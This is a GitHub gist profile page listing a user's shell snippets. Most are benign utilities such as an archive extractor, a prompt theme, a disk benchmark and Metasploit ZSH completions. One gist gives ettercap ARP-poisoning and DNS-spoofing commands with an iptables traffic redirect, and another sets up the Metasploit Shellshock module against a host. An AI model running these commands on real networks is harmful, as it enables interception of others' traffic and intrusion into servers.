Skip to content

Instantly share code, notes, and snippets.

View YourFriendCaspian's full-sized avatar
🙃
I'm sure I'll be slow to respond so don't be mad.

yourfriendcaspian YourFriendCaspian

🙃
I'm sure I'll be slow to respond so don't be mad.
View GitHub Profile
@YourFriendCaspian
YourFriendCaspian / pet-snippet.toml
Last active August 6, 2017 03:43
DDOS Monitoring Command
[[snippets]]
description = "DDOS Monitoring Command"
command = "net -nap | grep \\:80\\ | awk '{print $5}' | tr \":\" \" \" | awk '{print $1}' | sort | uniq -c | sort -n"
#!/bin/sh
# http://d.hatena.ne.jp/jeneshicc/20110215/1297778049
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.tar.xz) tar xvJf $1 ;;
*.bz2) bunzip2 $1 ;;
@YourFriendCaspian
YourFriendCaspian / ettercap
Created July 11, 2017 06:33 — forked from boy3vil/ettercap
ettercap kali linux
locate etter.dns
service apache2 start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000
ettercap -T -q -w dump -i wlan0 -M ARP // // output:
ettercap -T -q -i wlan0 -P dns_spoof -M arp // //
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole
#start msfconsole
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set VHOST app.local
set TARGETURI "/all"
set RPORT 3000
@YourFriendCaspian
YourFriendCaspian / _msfconsole
Created July 11, 2017 06:44 — forked from zeroSteiner/_msfconsole
ZSH completions for Metasploit Utilities
#compdef msfconsole
# ------------------------------------------------------------------------------
# Copyright (c) 2014 Spencer McIntyre
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
@YourFriendCaspian
YourFriendCaspian / new_script
Created July 28, 2017 05:07
Bash shell script template generator
#!/bin/bash
# ---------------------------------------------------------------------------
# new_script - Bash shell script template generator
# Copyright 2012, William Shotts <bshotts@users.sourceforge.net>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@YourFriendCaspian
YourFriendCaspian / solarized_bash_prompt.bash
Created July 28, 2017 06:06
Shell prompt based on the Solarized Dark theme
# Shell prompt based on the Solarized Dark theme.
# Screenshot: http://i.imgur.com/EkEtphC.png
# Heavily inspired by @necolas’s prompt: https://github.com/necolas/dotfiles
# iTerm → Profiles → Text → use 13pt Monaco with 1.1 vertical spacing.
if [[ $COLORTERM = gnome-* && $TERM = xterm ]] && infocmp gnome-256color >/dev/null 2>&1; then
export TERM='gnome-256color';
elif infocmp xterm-256color >/dev/null 2>&1; then
export TERM='xterm-256color';
fi;
@YourFriendCaspian
YourFriendCaspian / path
Created August 18, 2017 10:01
Show PATH?
#!/usr/bin/env zsh
# This came from Greg V's dotfiles:
# https://github.com/myfreeweb/dotfiles
# Feel free to steal it, but attribution is nice
autoload colors && colors
echo $PATH | tr ":" "\n" | \
awk "{ sub(\"/usr\", \"$fg_no_bold[green]/usr$reset_color\"); \
sub(\"/bin\", \"$fg_bold[blue]/bin$reset_color\"); \
@YourFriendCaspian
YourFriendCaspian / diskbench
Created August 18, 2017 10:03
Command Line Disk Benchmark
#!/bin/sh
# This came from Greg V's dotfiles:
# https://github.com/myfreeweb/dotfiles
# Feel free to steal it, but attribution is nice
#
# Thanks:
# http://www.amsys.co.uk/2013/blog/using-command-line-to-benchmark-disks/
echo "Benchmarking write..."
dd if=/dev/zero bs=2048k of=tstfile count=1024 2>&1 | grep sec | awk '{print $1 / 1024 / 1024 / $5, "MB/sec" }'
@YourFriendCaspian
YourFriendCaspian / asus-laptop.txt
Created August 20, 2017 09:26
Asus Laptop Extras
Asus Laptop Extras
Version 0.1
August 6, 2009
Corentin Chary <corentincj@iksaif.net>
http://acpi4asus.sf.net/
This driver provides support for extra features of ACPI-compatible ASUS laptops.
It may also support some MEDION, JVC or VICTOR laptops (such as MEDION 9675 or